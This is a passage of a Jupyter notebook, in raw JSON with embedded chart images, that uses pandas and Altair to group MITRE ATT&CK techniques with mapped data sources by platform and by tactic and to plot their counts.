MrucHzIUnHJR3yMm8hE2OeDbwJPIEn8GzQUAK9khM8bTLosKQbvLLdWYLUoPqopDck2eD3sbXKz4QRE0ZWN5gwKlsIE0aBULnaTE7wDFJI4Ak8gafXlIBnEK7UGQGe0aRNb5huO912uu3p2h3wTKd19JSAJ/AEntGb2bkEgGc6raOnBDyBJ/CM3syAZzqJ06UEPIEn8EzX3og802kdPSXgCTyBZ/RmRuSZTuJ0KQFP4Ak807U3Is90WkdPCXgCT+AZvZkReaaTOF1KwBN4As907Y3IM53W0VMCnsATeEZvZkSe6SROlxLwBJ7AM117I/JMp3X0lIAn8ASe0ZsZkWc6idOlBDyBJ/BM196IPNNpHT0l4Ak8gWf0ZkbkmU7idCkBT+AJPNO1NyLPdFpHTwl4Ak/gGb2ZEXmmkzhdSsATeALPdO2NyDOd1tFTAp7AE3hGb2ZEnukkTpcS8ASewDNdeyPyTKd19JSAJ/AEntGbGZFnOonTpQQ8gSfwTNfeiDzTaR09JeAJPIFn9GZG5JlO4nQpAU/gCTzTtbeuRJ7c296gTgBP4Ak8GzSUQK90AZ43S7pF0mOSrpG0W9KspNN1GnBvO/e2W724dO/J2rr94+3bt2ugw4HaT/5muLc9mo+6AM87JJ2QdETSxZL2SDog6S3guVIBIk8iTyLPaKxcZbiL8Nwn6aCkY3Nzc7NFUTzil+qSSy5579SpUxekk5CUUKA7Clx77bX/99Of/vS/7E6O881pF+G5buQ5bqn9YYNx52Xc6aPFeQ+gxbhrY/j0uwDPVmOe4SVqZ5FGAjA2Gk5qV6N4O1cFugBP067xbPu4hQaewBN4jrsVpkm/K/BMo0aAVIAn8ASeARpSB0wAz8BOskmsBx54wCa1ev+gxfkqgBaT1xyA5+T5lBKhAAokUAB4JhCZJFAABSZPAeAZzqeXS9om6b94Jj8n6dtrLegPlzSWMlTAdsN9XdLnJV0h6bUyjx8rN3xkmGWy1EYB4NlGrY3ftWVVd0naK2m/pGd63FBsZ5g9WyQ9KulOSYc2lnAi3rCdcG4zx4+8P1vh1t1ePBGl70khgGd4R/sRx7Hw5jth0aJw+8fja5K+4P3f/lGp3VbbiVI1z6SV/15JX5X0YQ+YZiHrTR7Ni8ibwDNsHSDyPKung6dF3r9Xdl+/XEbkfYCnfwbDtZKuLqNuVz/uX+tgm7DVEWsxFQCe4dRlzHOllm5jg43x2alYx3vUbTclDJQ2zvmSJBvCuK0c0rE/9+EfkHAtK1NLwDOcYwyeNqa31TPpGk7fGktViz6Nd4arUVjKWgHgGc89dZFovNTytmzRlk2kEXXl7Sdy10IB4NlCrJavunG/vkySVOWxcb8nJN0j6SlJfRzns38snvWEebg81LtlVeL1HBUAnuG8Utdt72tjMS2elGRnrfZ1xYGN+dpjNyC4p+5n4WoglpIqADyTyt2rxPzIs2//iKzV6+h7b2SiGgDwnCh3ZlsYm3m2qKsvY57AM9uqGC5jwDOclmbJLc9xVpltP6tE3yJPVxfotodtX1lZA57h3EGXbKWWbp2j+2kf93RXJ4xYshWuvY3dEvAM54INb/YMl1T2lqr/kPAPS/YuI4NtFQCebRVb+30WyZ/XBnie18IdkGKna9nSrT4fFhOutWVgCXhm4IQJzQLd9vN7/N1aXyLwCarswHN0Z7oTdJ6W9E22Z44u6ARZqA7lAM8Jci7wnCBnUpQsFSACz9Ito2cKeI6u4VoW+jiBVDfu6/Tp67KteDUMy2NVAHjGk7+P8HRq1nVX3eHAp+NJjmUUSKcA8IyndZ/hyWz7+XrFxol4bWysloFnPPn7DE9TlbG+87Ptdh3JDkk2qfhvK5cExquBWI6qAPAcXV7G+UbXcFItuAj8jyX9fglP+/8BTpPvvsuBZ/d9SAnyVsAWydsNonYNiZ3t2cd9/nl7aMjcAc8hheOzDRVgrG9DiXihywoAzy57L9+8sxicCaN8a2egnAHPQEJiZoUCfZ8sc2Lwj8gENwzgOcHOHWPROCTlvPifk2SHgvTtBtUxVr80SQPPNDqTSn8VYOx3Qn0PPCfUsWMqFoekrBSebvuYKmKKZIFnCpVJo88K2JXLL/b4FtGJ9T3wnFjXjqVgbqzzRE/vaa+KztjvWKphmkSBZxqd+5bKNZIOS7qhLHgf7y/qm897V17g2TuXj6XANmlie937cvXwWEQm0bQKAM+0evchNVvjaXf13OMVlsizD57vWRmBZ88cHrm4Nsb3pKRHmCCJrDTmx64A8By7CyYuA3WTJE8xgTRxfu59gYBn76tAEgFsAsmi0fvYaZNEbxJJoADwTCByD5OoRp9Enj2sBJNeZOA56R5OWz4HTUuVmfW02pNaYgWAZ2LBSQ4FUGAyFACek+FHSoECKJBYAeCZWHCSQwEUmAwFgOdk+JFSoAAKJFYAeCYWnORQAAUmQwHgORl+pBQogAKJFQCeiQXPPLnqqeeWXbcv3X53ZYOdQrZEyY6kO1IeBvJaWWb2t2fufLLXTgHg2U6vSX+7Ckj/NKR7G8DTHUX3hyU8mwJ30nWlfBOoAPCcQKeOUKQq7OwYuW9I2iFpuwfPD9ec1/lDSYckbS3TPyDJgGvPS+Wi+WsluUj0jdLusfJ3X5T0U0kflDQn6QFJL0uyn9u7Zs92KtlzZ5nWCEXlUxQYTQHgOZp+k/Z1k8jzS5K+IumvS4D53zio1kWe7nd/4n3nzvi8TdKz3hCB/dwga5D8Xvm+O51+D2eDTlq162Z5gGc3/RYr123GPG1s04Bnj9u7vh48t0m6y9u26Xfxry4jTItwLRL1I943S3jaGOpj5fe+nVhaYBcF1lUAeFJBfAXWG6N0vzOAHSwnhexyM4sE3UQS8KQ+9UYB4NkbVzcqaBN42tjjtyRZ9/vb5anxZtxAOkq33cY2iTwbuYmXclAAeObghXzy0ASeLtp8tMy2XfT262V32n7kJo1svHJLZYbejWXae3UTRsAzn7pATjZQAHhSRVAABVBgCAWA5xCi8QkKoAAKAE/qAAqgAAoMoQDwHEI0PkEBFEAB4EkdQAEUQIEhFACeQ4jGJyiAAigAPKkDKIACKDCEAsBzCNH4BAVQAAWAJ3UABVAABYZQ4P8D2NscUNuocPUAAAAASUVORK5CYII=", "text/plain": [ "\n", "\n", "If you see this message, it means the renderer has not been properly enabled\n", "for the frontend that you are using. For more information, see\n", "https://altair-viz.github.io/user_guide/troubleshooting.html\n" ] }, "execution_count": 24, "metadata": {}, "output_type": "execute_result" } ], "source": [ "platform_distribution = pandas.DataFrame({\n", " 'Platform': list(techniques_platform_2.groupby(['platform'])['platform'].count().keys()),\n", " 'Count of Techniques': techniques_platform_2.groupby(['platform'])['platform'].count().tolist()})\n", "bars = alt.Chart(platform_distribution,height=300).mark_bar().encode(x ='Platform',y='Count of Techniques',color='Platform').properties(width=200)\n", "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", "bars + text" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the bar chart above we can see that there are more techniques with data sources mapped to the Windows platform." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 10. Grouping Techniques With Data Sources by Tactic" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Again, first we need to split the tactic column values because a technique might be mapped to more than one tactic:" ] }, { "cell_type": "code", "execution_count": 25, "metadata": {}, "outputs": [], "source": [ "techniques_tactic=techniques_with_data_sources\n", "\n", "attributes_2 = ['tactic'] # In attributes we are going to indicate the name of the columns that we need to split\n", "\n", "for a in attributes_2:\n", " s = techniques_tactic.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", " s.name = a\n", " # We name \"s\" with the same name of \"a\".\n", " techniques_tactic = techniques_tactic.drop(a, axis=1).join(s).reset_index(drop=True)\n", " # We drop the column \"a\" from \"techniques_tactic\", and then join \"techniques_tactic\" with \"s\"\n", "\n", "# Let's re-arrange the columns from general to specific\n", "techniques_tactic_2=techniques_tactic.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can now show techniques with data sources mapped to one tactic at the time" ] }, { "cell_type": "code", "execution_count": 26, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attack[Linux, Windows, macOS]defense-evasionFile Permissions ModificationT1222[File monitoring, Process Monitoring, Process ...
1mitre-attack[Windows]defense-evasionXSL Script ProcessingT1220[Process Monitoring, Process command-line para...
2mitre-attack[Windows]executionXSL Script ProcessingT1220[Process Monitoring, Process command-line para...
3mitre-attack[Windows]defense-evasionCompiled HTML FileT1223[File monitoring, Process Monitoring, Process ...
4mitre-attack[Windows]executionCompiled HTML FileT1223[File monitoring, Process Monitoring, Process ...
\n", "
" ], "text/plain": [ " matrix platform tactic \\\n", "0 mitre-attack [Linux, Windows, macOS] defense-evasion \n", "1 mitre-attack [Windows] defense-evasion \n", "2 mitre-attack [Windows] execution \n", "3 mitre-attack [Windows] defense-evasion \n", "4 mitre-attack [Windows] execution \n", "\n", " technique technique_id \\\n", "0 File Permissions Modification T1222 \n", "1 XSL Script Processing T1220 \n", "2 XSL Script Processing T1220 \n", "3 Compiled HTML File T1223 \n", "4 Compiled HTML File T1223 \n", "\n", " data_sources \n", "0 [File monitoring, Process Monitoring, Process ... \n", "1 [Process Monitoring, Process command-line para... \n", "2 [Process Monitoring, Process command-line para... \n", "3 [File monitoring, Process Monitoring, Process ... \n", "4 [File monitoring, Process Monitoring, Process ... " ] }, "execution_count": 26, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_tactic_2.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's create a visualization to show the number of techniques grouped by tactic:" ] }, { "cell_type": "code", "execution_count": 27, "metadata": {}, "outputs": [ { "data": { "application/vnd.vegalite.v2+json": { "$schema": "https://vega.github.io/schema/vega-lite/v2.6.0.json", "config": { "view": { "height": 300, "width": 400 } }, "datasets": { "data-eaddce545b04049bbbe0ae17fd8187a9": [ { "Count of Techniques": 9, "Tactic": "exfiltration" }, { "Count of Techniques": 10, "Tactic": "initial-access" }, { "Count of Techniques": 13, "Tactic": "collection" }, { "Count of Techniques": 17, "Tactic": "lateral-movement" }, { "Count of Techniques": 19, "Tactic": "credential-access" }, { "Count of Techniques": 19, "Tactic": "discovery" }, { "Count of Techniques": 20, "Tactic": "command-and-control" }, { "Count of Techniques": 28, "Tactic": "privilege-escalation" }, { "Count of Techniques": 33, "Tactic": "execution" }, { "Count of Techniques": 56, "Tactic": "persistence" }, { "Count of Techniques": 61, "Tactic": "defense-evasion" } ] }, "layer": [ { "data": { "name": "data-eaddce545b04049bbbe0ae17fd8187a9" }, "encoding": { "color": { "field": "Tactic", "type": "nominal" }, "x": { "field": "Tactic", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "height": 300, "mark": "bar", "width": 400 }, { "data": { "name": "data-eaddce545b04049bbbe0ae17fd8187a9" }, "encoding": { "color": { "field": "Tactic", "type": "nominal" }, "text": { "field": "Count of Techniques", "type": "quantitative" }, "x": { "field": "Tactic", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "height": 300, "mark": { "align": "center", "baseline": "middle", "dx": 0, "dy": -5, "type": "text" }, "width": 400 } ] }, "image/png": "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